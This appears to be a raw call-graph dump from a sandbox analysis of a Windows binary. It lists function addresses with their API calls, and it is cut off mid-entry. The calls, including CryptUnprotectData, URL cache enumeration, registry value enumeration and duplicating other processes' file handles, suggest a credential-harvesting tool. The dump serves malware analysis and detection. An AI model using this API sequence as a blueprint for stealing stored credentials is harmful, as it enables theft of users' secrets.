39263 438552 38648->39263 38651 40baf3 38649->38651 38651->38221 38653 40bacd 39297 443d90 111 API calls 38653->39297 38656 40bac6 39296 424f26 123 API calls 38656->39296 38657 40b8bd memset 39287 425413 17 API calls 38657->39287 38660 425413 17 API calls 38677 40b8b8 38660->38677 38663 40a71b MultiByteToWideChar 38663->38677 38666 40b9b5 memcmp 38666->38677 38667 4099c6 2 API calls 38667->38677 38668 404423 38 API calls 38668->38677 38671 40bb3e memset memcpy 39298 40a734 MultiByteToWideChar 38671->39298 38672 4251c4 137 API calls 38672->38677 38674 40bb88 LocalFree 38674->38677 38677->38656 38677->38657 38677->38660 38677->38663 38677->38666 38677->38667 38677->38668 38677->38671 38677->38672 38678 40ba5f memcmp 38677->38678 38679 40a734 MultiByteToWideChar 38677->38679 39288 4253ef 16 API calls 38677->39288 39289 40b64c SystemTimeToFileTime FileTimeToLocalFileTime 38677->39289 39290 4253af 17 API calls 38677->39290 39291 4253cf 17 API calls 38677->39291 39292 447280 memset 38677->39292 39293 447960 memset memcpy memcpy memcpy 38677->39293 39294 40afe8 ??2@YAPAXI memcpy ??3@YAXPAX 38677->39294 39295 447920 memcpy memcpy memcpy 38677->39295 38678->38677 38679->38677 38680->38223 38682 40aebe FindClose 38681->38682 38683 40ae21 38682->38683 38684 4099c6 2 API calls 38683->38684 38685 40ae35 38684->38685 38686 409d1f 6 API calls 38685->38686 38687 40ae49 38686->38687 38687->38263 38689 40ade0 38688->38689 38692 40ae0f 38688->38692 38690 40ade7 wcscmp 38689->38690 38689->38692 38691 40adfe wcscmp 38690->38691 38690->38692 38691->38692 38692->38263 38694 40ae7b FindNextFileW 38693->38694 38695 40ae5c FindFirstFileW 38693->38695 38696 40ae94 38694->38696 38697 40ae8f 38694->38697 38695->38696 38698 409d1f 6 API calls 38696->38698 38700 40aeb6 38696->38700 38699 40aebe FindClose 38697->38699 38698->38700 38699->38696 38700->38263 38702 40aed1 38701->38702 38703 40aec7 FindClose 38701->38703 38702->38277 38703->38702 38705 4099d7 38704->38705 38706 4099da memcpy 38704->38706 38705->38706 38706->38207 38708 40b2cc 27 API calls 38707->38708 38709 44543f 38708->38709 38710 409d1f 6 API calls 38709->38710 38711 44544f 38710->38711 39656 409b98 GetFileAttributesW 38711->39656 38713 445476 38716 40b2cc 27 API calls 38713->38716 38714 44545e 38714->38713 38715 40b6ef 253 API calls 38714->38715 38715->38713 38717 445482 38716->38717 38718 409d1f 6 API calls 38717->38718 38719 445492 38718->38719 39657 409b98 GetFileAttributesW 38719->39657 38721 4454a1 38722 4454b9 38721->38722 38723 40b6ef 253 API calls 38721->38723 38722->38236 38723->38722 38724->38235 38725->38253 38726->38260 38727->38298 38728->38280 38729->38325 38730->38325 38731->38307 38732->38336 38733->38338 38734->38340 38736 414c2e 17 API calls 38735->38736 38737 40c2ae 38736->38737 38793 40c1d3 38737->38793 38742 40c3be 38759 40a8ab 38742->38759 38743 40afcf 2 API calls 38744 40c2fd FindFirstUrlCacheEntryW 38743->38744 38745 40c3b6 38744->38745 38746 40c31e wcschr 38744->38746 38747 40b04b ??3@YAXPAX 38745->38747 38748 40c331 38746->38748 38749 40c35e FindNextUrlCacheEntryW 38746->38749 38747->38742 38750 40a8ab 9 API calls 38748->38750 38749->38746 38751 40c373 GetLastError 38749->38751 38754 40c33e wcschr 38750->38754 38752 40c3ad FindCloseUrlCache 38751->38752 38753 40c37e 38751->38753 38752->38745 38755 40afcf 2 API calls 38753->38755 38754->38749 38756 40c34f 38754->38756 38757 40c391 FindNextUrlCacheEntryW 38755->38757 38758 40a8ab 9 API calls 38756->38758 38757->38746 38757->38752 38758->38749 38887 40a97a 38759->38887 38762 40a8cc 38762->38347 38763 40a8d0 7 API calls 38763->38762 38892 40b1ab free free 38764->38892 38766 40c3dd 38767 40b2cc 27 API calls 38766->38767 38768 40c3e7 38767->38768 38893 414592 RegOpenKeyExW 38768->38893 38770 40c3f4 38771 40c50e 38770->38771 38772 40c3ff 38770->38772 38786 405337 38771->38786 38773 40a9ce 4 API calls 38772->38773 38774 40c418 memset 38773->38774 38894 40aa1d 38774->38894 38777 40c471 38779 40c47a _wcsupr 38777->38779 38778 40c505 RegCloseKey 38778->38771 38780 40a8d0 7 API calls 38779->38780 38781 40c498 38780->38781 38782 40a8d0 7 API calls 38781->38782 38783 40c4ac memset 38782->38783 38784 40aa1d 38783->38784 38785 40c4e4 RegEnumValueW 38784->38785 38785->38778 38785->38779 38896 405220 38786->38896 38789->38358 38790->38360 38791->38361 38792->38354 38794 40ae18 9 API calls 38793->38794 38800 40c210 38794->38800 38795 40ae51 9 API calls 38795->38800 38796 40c264 38797 40aebe FindClose 38796->38797 38799 40c26f 38797->38799 38798 40add4 2 API calls 38798->38800 38805 40e5ed memset memset 38799->38805 38800->38795 38800->38796 38800->38798 38801 40c231 _wcsicmp 38800->38801 38802 40c1d3 35 API calls 38800->38802 38801->38800 38803 40c248 38801->38803 38802->38800 38818 40c084 22 API calls 38803->38818 38806 414c2e 17 API calls 38805->38806 38807 40e63f 38806->38807 38808 409d1f 6 API calls 38807->38808 38809 40e658 38808->38809 38819 409b98 GetFileAttributesW 38809->38819 38811 40e667 38812 40e680 38811->38812 38814 409d1f 6 API calls 38811->38814 38820 409b98 GetFileAttributesW 38812->38820 38814->38812 38815 40e68f 38817 40c2d8 38815->38817 38821 40e4b2 38815->38821 38817->38742 38817->38743 38818->38800 38819->38811 38820->38815 38842 40e01e 38821->38842 38823 40e593 38824 40e5b0 38823->38824 38825 40e59c DeleteFileW 38823->38825 38827 40b04b ??3@YAXPAX 38824->38827 38825->38824 38826 40e521 38826->38823 38865 40e175 38826->38865 38828 40e5bb 38827->38828 38830 40e5c4 CloseHandle 38828->38830 38831 40e5cc 38828->38831 38830->38831 38833 40b633 free 38831->38833 38832 40e573 38835 40e584 38832->38835 38836 40e57c CloseHandle 38832->38836 38834 40e5db 38833->38834 38839 40b633 free 38834->38839 38886 40b1ab free free 38835->38886 38836->38835 38838 40e540 38838->38832 38885 40e2ab 30 API calls 38838->38885 38840 40e5e3 38839->38840 38840->38817 38843 406214 22 API calls 38842->38843 38844 40e03c 38843->38844 38845 40e16b 38844->38845 38846 40dd85 75 API calls 38844->38846 38845->38826 38847 40e06b 38846->38847 38847->38845 38848 40afcf ??2@YAPAXI ??3@YAXPAX 38847->38848 38849 40e08d OpenProcess 38848->38849 38850 40e0a4 GetCurrentProcess DuplicateHandle 38849->38850 38854 40e152 38849->38854 38851 40e0d0 GetFileSize 38850->38851 38852 40e14a CloseHandle 38850->38852 38855 409a45 GetTempPathW GetWindowsDirectoryW GetTempFileNameW 38851->38855 38852->38854 38853 40e160 38857 40b04b ??3@YAXPAX 38853->38857 38854->38853 38856 406214 22 API calls 38854->38856 38858 40e0ea 38855->38858 38856->38853 38857->38845 38859 4096dc CreateFileW 38858->38859 38860 40e0f1 CreateFileMappingW 38859->38860 38861 40e140 CloseHandle CloseHandle 38860->38861 38862 40e10b MapViewOfFile 38860->38862 38861->38852 38863 40e13b CloseHandle 38862->38863 38864 40e11f WriteFile UnmapViewOfFile 38862->38864 38863->38861 38864->38863 38866 40e18c 38865->38866 38867 406b90 11 API calls 38866->38867 38868 40e19f 38867->38868 38869 40e1a7 memset 38868->38869 38870 40e299 38868->38870 38875 40e1e8 38869->38875 38871 4069a3 ??3@YAXPAX free 38870->38871 38872 40e2a4 38871->38872 38872->38838 38873 406e8f 13 API calls 38873->38875 38874 406b53 SetFilePointerEx ReadFile 38874->38875 38875->38873 38875->38874 38876 40e283 38875->38876 38877 40dd50 _wcsicmp 38875->38877 38881 40742e 8 API calls 38875->38881 38882 40aae3 wcslen wcslen _memicmp 38875->38882 38883 40e244 _snwprintf 38875->38883 38878 40e291 38876->38878 38879 40e288 free 38876->38879 38877->38875 38880 40aa04 free 38878->38880 38879->38878 38880->38870 38881->38875 38882->38875 38884 40a8d0 7 API calls 38883->38884 38884->38875 38885->38838 38886->38823 38891 40a980 38887->38891 38888 40a8bb 38888->38762 38888->38763 38889 40a995 _wcsicmp 38889->38891 38890 40a99c wcscmp 38890->38891 38891->38888 38891->38889 38891->38890 38892->38766 38893->38770 38895 40aa23 RegEnumValueW 38894->38895 38895->38777 38895->38778 38897 405335 38896->38897 38898 40522a 38896->38898 38897->38361 38899 40b2cc 27 API calls 38898->38899 38900 405234 38899->38900 38901 40a804 8 API calls 38900->38901 38902 40523a 38901->38902 38941 40b273 38902->38941 38904 405248 _mbscpy _mbscat GetProcAddress 38905 40b273 27 API calls 38904->38905 38906 405279 38905->38906 38944 405211 GetProcAddress 38906->38944 38908 405282 38909 40b273 27 API calls 38908->38909 38910 40528f 38909->38910 38945 405211 GetProcAddress 38910->38945 38912 405298 38913 40b273 27 API calls 38912->38913 38914 4052a5 38913->38914 38946 405211 GetProcAddress 38914->38946 38916 4052ae 38917 40b273 27 API calls 38916->38917 38918 4052bb 38917->38918 38947 405211 GetProcAddress 38918->38947 38920 4052c4 38921 40b273 27 API calls 38920->38921 38922 4052d1 38921->38922 38948 405211 GetProcAddress 38922->38948 38924 4052da 38925 40b273 27 API calls 38924->38925 38926 4052e7 38925->38926 38949 405211 GetProcAddress 38926->38949 38928 4052f0 38929 40b273 27 API calls 38928->38929 38930 4052fd 38929->38930 38950 405211 GetProcAddress 38930->38950 38932 405306 38933 40b273 27 API calls 38932->38933 38934 405313 38933->38934 38951 405211 GetProcAddress 38934->38951 38936 40531c 38937 40b273 27 API calls 38936->38937 38938 405329 38937->38938 38952 405211 GetProcAddress 38938->38952 38940 405332 38940->38897 38942 40b58d 27 API calls 38941->38942 38943 40b18c 38942->38943 38943->38904 38944->38908 38945->38912 38946->38916 38947->38920 38948->38924 38949->38928 38950->38932 38951->38936 38952->38940 38954 40440c FreeLibrary 38953->38954 38955 40436d 38954->38955 38956 40a804 8 API calls 38955->38956 38957 404377 38956->38957 38958 404383 38957->38958 38959 404405 38957->38959 38960 40b273 27 API calls 38958->38960 38959->38365 38959->38369 38961 40438d GetProcAddress 38960->38961 38962 40b273 27 API calls 38961->38962 38963 4043a7 GetProcAddress 38962->38963 38964 40b273 27 API calls 38963->38964 38965 4043ba GetProcAddress 38964->38965 38966 40b273 27 API calls 38965->38966 38967 4043ce GetProcAddress 38966->38967 38968 40b273 27 API calls 38967->38968 38969 4043e2 GetProcAddress 38968->38969 38970 4043f1 38969->38970 38971 4043f7 38970->38971 38972 40440c FreeLibrary 38970->38972 38971->38959 38972->38959 38974 404413 FreeLibrary 38973->38974 38975 40441e 38973->38975 38974->38975 38975->38381 38976->38377 38978 40447e 38977->38978 38979 40442e 38977->38979 38980 404485 CryptUnprotectData 38978->38980 38981 40449c 38978->38981 38982 40b2cc 27 API calls 38979->38982 38980->38981 38981->38377 38983 404438 38982->38983 38984 40a804 8 API calls 38983->38984 38985 40443e 38984->38985 38986 404445 38985->38986 38987 404467 38985->38987 38988 40b273 27 API calls 38986->38988 38987->38978 38989 404475 FreeLibrary 38987->38989 38990 40444f GetProcAddress 38988->38990 38989->38978 38990->38987 38991 404460 38990->38991 38991->38987 38993 4135f6 38992->38993 38994 4135eb FreeLibrary 38992->38994 38993->38384 38994->38993 38996 4449c4 38995->38996 38997 444a52 38995->38997 38998 40b2cc 27 API calls 38996->38998 38997->38404 38997->38405 38999 4449cb 38998->38999 39000 40a804 8 API calls 38999->39000 39001 4449d1 39000->39001 39002 40b273 27 API calls 39001->39002 39003 4449dc GetProcAddress 39002->39003 39004 40b273 27 API calls 39003->39004 39005 4449f3 GetProcAddress 39004->39005 39006 40b273 27 API calls 39005->39006 39007 444a04 GetProcAddress 39006->39007 39008 40b273 27 API calls 39007->39008 39009 444a15 GetProcAddress 39008->39009 39010 40b273 27 API calls 39009->39010 39011 444a26 GetProcAddress 39010->39011 39012 40b273 27 API calls 39011->39012 39013 444a37 GetProcAddress 39012->39013 39014 40b273 27 API calls 39013->39014 39015 444a48 GetProcAddress 39014->39015 39015->38997 39016->38415 39017->38415 39018->38415 39019->38415 39020->38406 39022 403a29 39021->39022 39036 403bed memset memset 39022->39036 39024 403ae7 39049 40b1ab free free 39024->39049 39025 403a3f memset 39030 403a2f 39025->39030 39027 403aef 39027->38422 39028 40a8d0 7 API calls 39028->39030 39029 409d1f 6 API calls 39029->39030 39030->39024 39030->39025 39030->39028 39030->39029 39031 409b98 GetFileAttributesW 39030->39031 39031->39030 39033 40a051 GetFileTime CloseHandle 39032->39033 39034 4039ca CompareFileTime 39032->39034 39033->39034 39034->38422 39035->38423 39037 414c2e 17 API calls 39036->39037 39038 403c38 39037->39038 39039 409719 2 API calls 39038->39039 39040 403c3f wcscat 39039->39040 39041 414c2e 17 API calls 39040->39041 39042 403c61 39041->39042 39043 409719 2 API calls 39042->39043 39044 403c68 wcscat 39043->39044 39050 403af5 39044->39050 39047 403af5 20 API calls 39048 403c95 39047->39048 39048->39030 39049->39027 39051 403b02 39050->39051 39052 40ae18 9 API calls 39051->39052 39060 403b37 39052->39060 39053 403bdb 39055 40aebe FindClose 39053->39055 39054 40add4 wcscmp wcscmp 39054->39060 39056 403be6 39055->39056 39056->39047 39057 40ae18 9 API calls 39057->39060 39058 40ae51 9 API calls 39058->39060 39059 40aebe FindClose 39059->39060 39060->39053 39060->39054 39060->39057 39060->39058 39060->39059 39061 40a8d0 7 API calls 39060->39061 39061->39060 39063 409d1f 6 API calls 39062->39063 39064 404190 39063->39064 39077 409b98 GetFileAttributesW 39064->39077 39066 40419c 39067 4041a7 6 API calls 39066->39067 39068 40435c 39066->39068 39070 40424f 39067->39070 39068->38449 39070->39068 39071 40425e memset 39070->39071 39073 409d1f 6 API calls 39070->39073 39074 40a8ab 9 API calls 39070->39074 39078 414842 39070->39078 39071->39070 39072 404296 wcscpy 39071->39072 39072->39070 39073->39070 39075 4042b6 memset memset _snwprintf wcscpy 39074->39075 39075->39070 39076->38447 39077->39066 39081 41443e 39078->39081 39080 414866 39080->39070 39082 41444b 39081->39082 39083 414451 39082->39083 39084 4144a3 GetPrivateProfileStringW 39082->39084 39085 414491 39083->39085 39086 414455 wcschr 39083->39086 39084->39080 39088 414495 WritePrivateProfileStringW 39085->39088 39086->39085 39087 414463 _snwprintf 39086->39087 39087->39088 39088->39080 39089->38453 39091 40b2cc 27 API calls 39090->39091 39092 409615 39091->39092 39093 409d1f 6 API calls 39092->39093 39094 409625 39093->39094 39117 409b98 GetFileAttributesW 39094->39117 39096 409634 39097 409648 39096->39097 39134 4091b8 241 API calls 39096->39134 39099 40b2cc 27 API calls 39097->39099 39101 408801 39097->39101 39100 40965d 39099->39100 39102 409d1f 6 API calls 39100->39102 39101->38456 39101->38457 39103 40966d 39102->39103 39118 409b98 GetFileAttributesW 39103->39118 39105 40967c 39105->39101 39119 409529 39105->39119 39107->38479 39117->39096 39118->39105 39135 4096c3 CreateFileW 39119->39135 39121 409543 39122 409550 GetFileSize 39121->39122 39133 4095cd 39121->39133 39123 409577 CloseHandle 39122->39123 39124 40955f 39122->39124 39130 409585 39123->39130 39123->39133 39125 40afcf 2 API calls 39124->39125 39126 409569 39125->39126 39136 40a2ef ReadFile 39126->39136 39128 409574 39128->39123 39129 4095c3 39138 40908b 57 API calls 39129->39138 39130->39129 39130->39133 39137 408b8d 38 API calls 39130->39137 39133->39101 39134->39097 39135->39121 39136->39128 39137->39130 39138->39133 39166 413f4f 39139->39166 39142 413f37 K32GetModuleFileNameExW 39143 413f4a 39142->39143 39143->38517 39145 413969 wcscpy 39144->39145 39146 41396c wcschr 39144->39146 39157 413a3a 39145->39157 39146->39145 39148 41398e 39146->39148 39171 4097f7 wcslen wcslen _memicmp 39148->39171 39150 41399a 39151 4139a4 memset 39150->39151 39152 4139e6 39150->39152 39172 409dd5 GetWindowsDirectoryW wcscpy 39151->39172 39153 413a31 wcscpy 39152->39153 39154 4139ec memset 39152->39154 39153->39157 39173 409dd5 GetWindowsDirectoryW wcscpy 39154->39173 39157->38517 39158 4139c9 wcscpy wcscat 39158->39157 39159 413a11 memcpy wcscat 39159->39157 39161 413cb0 GetModuleHandleW 39160->39161 39162 413cda 39160->39162 39161->39162 39163 413cbf GetProcAddress 39161->39163 39164 413ce3 GetProcessTimes 39162->39164 39165 413cf6 39162->39165 39163->39162 39164->38519 39165->38519 39167 413f2f 39166->39167 39168 413f54 39166->39168 39167->39142 39167->39143 39169 40a804 8 API calls 39168->39169 39170 413f5f GetProcAddress GetProcAddress GetProcAddress GetProcAddress GetProcAddress 39169->39170 39170->39167 39171->39150 39172->39158 39173->39159 39174->38539 39175->38562 39177 409cf9 GetVersionExW 39176->39177 39178 409d0a 39176->39178 39177->39178 39178->38568 39178->38574 39179->38576 39180->38579 39181->38581 39182->38626 39184 40bba5 39183->39184 39299 40cc26 39184->39299 39187 40bd4b 39320 40cc0c 39187->39320 39192 40b2cc 27 API calls 39193 40bbef 39192->39193 39327 40ccf0 _wcsicmp 39193->39327 39195 40bbf5 39195->39187 39328 40ccb4 6 API calls 39195->39328 39197 40bc26 39198 40cf04 17 API calls 39197->39198 39199 40bc2e 39198->39199 39200 40bd43 39199->39200 39201 40b2cc 27 API calls 39199->39201 39202 40cc0c 4 API calls 39200->39202 39203 40bc40 39201->39203 39202->39187 39329 40ccf0 _wcsicmp 39203->39329 39205 40bc46 39205->39200 39206 40bc61 memset memset WideCharToMultiByte 39205->39206 39330 40103c strlen 39206->39330 39208 40bcc0 39209 40b273 27 API calls 39208->39209 39210 40bcd0 memcmp 39209->39210 39210->39200 39211 40bce2 39210->39211 39212 404423 38 API calls 39211->39212 39213 40bd10 39212->39213 39213->39200 39214 40bd3a LocalFree 39213->39214 39215 40bd1f memcpy 39213->39215 39214->39200 39215->39214 39216->38641 39390 4438b5 39217->39390 39219 44444c 39225 40b879 39219->39225 39404 415a6d 39219->39404 39221 444486 39224 4444b9 memcpy 39221->39224 39262 4444a4 39221->39262 39223 44469e 39223->39225 39455 443d90 111 API calls 39223->39455 39408 415258 39224->39408 39225->38644 39225->38645 39228 444524 39229 444541 39228->39229 39230 44452a 39228->39230 39411 444316 39229->39411 39445 416935 16 API calls 39230->39445 39234 444316 18 API calls 39235 444563 39234->39235 39236 444316 18 API calls 39235->39236 39237 44456f 39236->39237 39238 444316 18 API calls 39237->39238 39239 44457f 39238->39239 39239->39262 39425 432d4e 39239->39425 39242 444316 18 API calls 39243 4445b0 39242->39243 39429 41eed2 39243->39429 39245 4445cf 39246 4445d6 39245->39246 39247 4445ee 39245->39247 39446 416935 16 API calls 39246->39446 39447 43302c memset 39247->39447 39250 4445fa 39448 43302c memset 39250->39448 39252 444609 39252->39262 39449 416935 16 API calls 39252->39449 39254 444646 39450 434d4b 17 API calls 39254->39450 39256 44464d 39451 437655 16 API calls 39256->39451 39258 444653 39452 4442e6 11 API calls 39258->39452 39260 44465d 39260->39262 39453 416935 16 API calls 39260->39453 39454 4442e6 11 API calls 39262->39454 39493 438460 39263->39493 39265 40b8a4 39265->38653 39269 4251c4 39265->39269 39267 409a74 GetTempFileNameW 39266->39267 39268 409a66 GetWindowsDirectoryW 39266->39268 39267->38639 39268->39267 39590 424f07 11 API calls 39269->39590 39271 4251e4 39272 4251f7 39271->39272 39273 4251e8 39271->39273 39592 4250f8 39272->39592 39591 4446ea 11 API calls 39273->39591 39275 4251f2 39275->38677 39277 425209 39280 425249 39277->39280 39283 4250f8 127 API calls 39277->39283 39284 425287 39277->39284 39600 4384e9 135 API calls 39277->39600 39601 424f74 124 API calls 39277->39601 39280->39284 39602 424ff0 13 API calls 39280->39602 39283->39277 39604 415c7d 16 API calls 39284->39604 39285 425266 39285->39284 39603 415be9 memcpy 39285->39603 39287->38677 39288->38677 39289->38677 39290->38677 39291->38677 39292->38677 39293->38677 39294->38677 39295->38677 39296->38653 39297->38644 39298->38674 39331 4096c3 CreateFileW 39299->39331 39301 40cc34 39302 40cc3d GetFileSize 39301->39302 39310 40bbca 39301->39310 39303 40afcf 2 API calls 39302->39303 39304 40cc64 39303->39304 39332 40a2ef ReadFile 39304->39332 39306 40cc71 39333 40ab4a MultiByteToWideChar 39306->39333 39308 40cc95 CloseHandle 39309 40b04b ??3@YAXPAX 39308->39309 39309->39310 39310->39187 39311 40cf04 39310->39311 39312 40b633 free 39311->39312 39313 40cf14 39312->39313 39339 40b1ab free free 39313->39339 39315 40bbdd 39315->39187 39315->39192 39316 40cf1b 39316->39315 39318 40cfef 39316->39318 39340 40cd4b 39316->39340 39319 40cd4b 14 API calls 39318->39319 39319->39315 39321 40b633 free 39320->39321 39322 40cc15 39321->39322 39323 40aa04 free 39322->39323 39324 40cc1d 39323->39324 39389 40b1ab free free 39324->39389 39326 40b7d4 memset CreateFileW 39326->38633 39326->38634 39327->39195 39328->39197 39329->39205 39330->39208 39331->39301 39332->39306 39334 40ab93 39333->39334 39335 40ab6b 39333->39335 39334->39308 39336 40a9ce 4 API calls 39335->39336 39337 40ab74 39336->39337 39338 40ab7c MultiByteToWideChar 39337->39338 39338->39334 39339->39316 39341 40cd7b 39340->39341 39374 40aa29 39341->39374 39343 40cef5 39344 40aa04 free 39343->39344 39345 40cefd 39344->39345 39345->39316 39347 40aa29 6 API calls 39348 40ce1d 39347->39348 39349 40aa29 6 API calls 39348->39349 39350 40ce3e 39349->39350 39351 40ce6a 39350->39351 39382 40abb7 wcslen memmove 39350->39382 39352 40ce9f 39351->39352 39385 40abb7 wcslen memmove 39351->39385 39354 40a8d0 7 API calls 39352->39354 39357 40ceb5 39354->39357 39355 40ce56 39383 40aa71 wcslen 39355->39383 39363 40a8d0 7 API calls 39357->39363 39359 40ce8b 39386 40aa71 wcslen 39359->39386 39360 40ce5e 39384 40abb7 wcslen memmove 39360->39384 39365 40cecb 39363->39365 39364 40ce93 39387 40abb7 wcslen memmove 39364->39387 39388 40d00b malloc memcpy free free 39365->39388 39368 40cedd 39369 40aa04 free 39368->39369 39370 40cee5 39369->39370 39371 40aa04 free 39370->39371 39372 40ceed 39371->39372 39373 40aa04 free 39372->39373 39373->39343 39375 40aa33 39374->39375 39376 40aa63 39374->39376 39377 40aa44 39375->39377 39378 40aa38 wcslen 39375->39378 39376->39343 39376->39347 39379 40a9ce malloc memcpy free free 39377->39379 39378->39377 39380 40aa4d 39379->39380 39380->39376 39381 40aa51 memcpy 39380->39381 39381->39376 39382->39355 39383->39360 39384->39351 39385->39359 39386->39364 39387->39352 39388->39368 39389->39326 39391 4438d0 39390->39391 39401 4438c9 39390->39401 39456 415378 memcpy memcpy 39391->39456 39401->39219 39405 415a77 39404->39405 39406 415a8d 39405->39406 39407 415a7e memset 39405->39407 39406->39221 39407->39406 39409 4438b5 11 API calls 39408->39409 39410 41525d 39409->39410 39410->39228 39412 444328 39411->39412 39413 444423 39412->39413 39414 44434e 39412->39414 39459 4446ea 11 API calls 39413->39459 39416 432d4e 3 API calls 39414->39416 39417 44435a 39416->39417 39419 444375 39417->39419 39424 44438b 39417->39424 39418 432d4e 3 API calls 39420 4443ec 39418->39420 39457 416935 16 API calls 39419->39457 39422 444381 39420->39422 39458 416935 16 API calls 39420->39458 39422->39234 39424->39418 39426 432d65 39425->39426 39427 432d58 39425->39427 39426->39242 39460 432cc4 memset memset memcpy 39427->39460 39430 41eee2 39429->39430 39431 415a6d memset 39430->39431 39432 41ef23 39431->39432 39433 415a6d memset 39432->39433 39437 41ef2d 39432->39437 39434 41ef42 39433->39434 39438 41ef49 39434->39438 39461 41b7d9 39434->39461 39436 41ef66 39436->39438 39439 41ef74 memset 39436->39439 39437->39245 39438->39437 39479 41b321 101 API calls 39438->39479 39441 41ef91 39439->39441 39443 41ef9e 39439->39443 39475 41519d 39441->39475 39443->39438 39478 41b1ca memset __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z 39443->39478 39445->39262 39446->39262 39447->39250 39448->39252 39449->39254 39450->39256 39451->39258 39452->39260 39453->39262 39454->39223 39455->39225 39457->39422 39458->39422 39459->39422 39460->39426 39462 41b812 39461->39462 39470 41b884 39462->39470 39473 41b849 39462->39473 39480 444706 11 API calls 39462->39480 39463 415a6d memset 39464 41b8c2 39463->39464 39465 41b980 39464->39465 39466 41b902 memcpy memcpy memcpy memcpy memcpy 39464->39466 39464->39473 39472 41b9ad 39465->39472 39481 4151e3 39465->39481 39466->39465 39469 41ba12 39471 41ba32 memset 39469->39471 39469->39473 39470->39463 39470->39473 39471->39473 39472->39473 39484 41b1ca memset __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z 39472->39484 39473->39436 39485 4175ed 39475->39485 39478->39438 39479->39437 39480->39470 39483 41837f 55 API calls 39481->39483 39482 4151f9 39482->39472 39483->39482 39484->39469 39486 417570 SetFilePointer GetLastError GetLastError 39485->39486 39487 4175ff 39486->39487 39488 41760a ReadFile 39487->39488 39491 4151b3 39487->39491 39489 417637 39488->39489 39490 417627 GetLastError 39488->39490 39489->39491 39492 41763e memset 39489->39492 39490->39491 39491->39443 39492->39491 39505 41703f 39493->39505 39495 43847a 39496 43848a 39495->39496 39497 43847e 39495->39497 39512 438270 39496->39512 39542 4446ea 11 API calls 39497->39542 39501 438488 39501->39265 39503 4384bb 39504 438270 134 API calls 39503->39504 39504->39501 39506 417044 39505->39506 39507 41705c 39505->39507 39511 417055 39506->39511 39544 416760 11 API calls 39506->39544 39508 417075 39507->39508 39545 41707a 11 API calls 39507->39545 39508->39495 39511->39495 39546 415a91 39512->39546 39514 43828d 39515 438297 39514->39515 39516 438341 39514->39516 39518 4382d6 39514->39518 39589 415c7d 16 API calls 39515->39589 39550 44358f 39516->39550 39521 4382fb 39518->39521 39522 4382db 39518->39522 39520 438458 39520->39501 39543 424f26 123 API calls 39520->39543 39583 415c23 memcpy 39521->39583 39581 416935 16 API calls 39522->39581 39525 438305 39529 44358f 19 API calls 39525->39529 39531 438318 39525->39531 39526 4382e9 39582 415c7d 16 API calls 39526->39582 39528 438373 39534 438383 39528->39534 39584 4300e8 memset memset memcpy 39528->39584 39529->39531 39531->39528 39576 43819e 39531->39576 39533 4383cd 39535 4383f5 39533->39535 39586 42453e 123 API calls 39533->39586 39534->39533 39585 415c23 memcpy 39534->39585 39538 438404 39535->39538 39539 43841c 39535->39539 39587 416935 16 API calls 39538->39587 39588 416935 16 API calls 39539->39588 39542->39501 39543->39503 39544->39511 39545->39506 39547 415a9d 39546->39547 39548 415ab3 39547->39548 39549 415aa4 memset 39547->39549 39548->39514 39549->39548 39552 4435be 39550->39552 39551 443676 39553 443758 39551->39553 39555 442ff8 19 API calls 39551->39555 39558 443737 39551->39558 39552->39551 39557 442ff8 19 API calls 39552->39557 39559 4436ce 39552->39559 39560 44366c 39552->39560 39574 44360c 39552->39574 39554 441409 memset 39553->39554 39566 443775 39553->39566 39554->39553 39555->39558 39556 442ff8 19 API calls 39556->39553 39557->39552 39558->39556 39562 4165ff 11 API calls 39559->39562 39563 4169a7 11 API calls 39560->39563 39561 4437be 39564 416760 11 API calls 39561->39564 39565 4437de 39561->39565 39562->39551 39563->39551 39564->39565 39567 42463b memset memcpy 39565->39567 39569 443801 39565->39569 39566->39561 39570 415c56 11 API calls 39566->39570 39567->39569 39568 443826 39571 43bd08 memset 39568->39571 39569->39568 39572 43024d memset 39569->39572 39570->39561 39573 443837 39571->39573 39572->39568 39573->39574 39575 43024d memset 39573->39575 39574->39531 39575->39573 39577 438246 39576->39577 39579 4381ba 39576->39579 39577->39528 39578 41f432 110 API calls 39578->39579 39579->39577 39579->39578 39580 41f638 104 API calls 39579->39580 39580->39579 39581->39526 39582->39515 39583->39525 39584->39534 39585->39533 39586->39535 39587->39515 39588->39515 39589->39520 39590->39271 39591->39275 39593 425108 39592->39593 39599 42510d 39592->39599 39637 424f74 124 API calls 39593->39637 39596 42516e 39638 415c7d 16 API calls 39596->39638 39597 425115 39597->39277 39599->39597 39605 42569b 39599->39605 39600->39277 39601->39277 39602->39285 39603->39284 39604->39275 39606 4256f1 39605->39606 39633 4259c2 39605->39633 39612 4259da 39606->39612 39616 422aeb memset memcpy memcpy 39606->39616 39617 429a4d 39606->39617 39622 4260a1 39606->39622 39631 429ac1 39606->39631 39606->39633 39636 425a38 39606->39636 39639 4227f0 memset memcpy 39606->39639 39640 422b84 15 API calls 39606->39640 39641 422b5d memset memcpy memcpy 39606->39641 39642 422640 13 API calls 39606->39642 39644 4241fc 11 API calls 39606->39644 39645 42413a 90 API calls 39606->39645 39611 4260dd 39650 424251 120 API calls 39611->39650 39649 416760 11 API calls 39612->39649 39616->39606 39618 429a66 39617->39618 39619 429a9b 39617->39619 39651 415c56 11 API calls 39618->39651 39623 429a96 39619->39623 39653 416760 11 API calls 39619->39653 39648 415c56 11 API calls 39622->39648 39654 424251 120 API calls 39623->39654 39625 429a7a 39652 416760 11 API calls 39625->39652 39632 425ad6 39631->39632 39655 415c56 11 API calls 39631->39655 39632->39596 39633->39632 39643 415c56 11 API calls 39633->39643 39636->39633 39646 422640 13 API calls 39636->39646 39647 4226e0 12 API calls 39636->39647 39637->39599 39638->39597 39639->39606 39640->39606 39641->39606 39642->39606 39643->39612 39644->39606 39645->39606 39646->39636 39647->39636 39648->39612 39649->39611 39650->39632 39651->39625 39652->39623 39653->39623 39654->39631 39655->39612 39656->38714 39657->38721 39658 44dea5 39659 44deb5 FreeLibrary 39658->39659 39660 44dec3 39658->39660 39659->39660 39661 4147f3 39664 414561 39661->39664 39663 414813 39665 41456d 39664->39665 39666 41457f GetPrivateProfileIntW 39664->39666 39669 4143f1 memset _itow WritePrivateProfileStringW 39665->39669 39666->39663 39668 41457a 39668->39663 39669->39668 39670 44def7 39671 44df07 39670->39671 39672 44df00 ??3@YAXPAX 39670->39672 39673 44df17 39671->39673 39674 44df10 ??3@YAXPAX 39671->39674 39672->39671 39675 44df27 39673->39675 39676 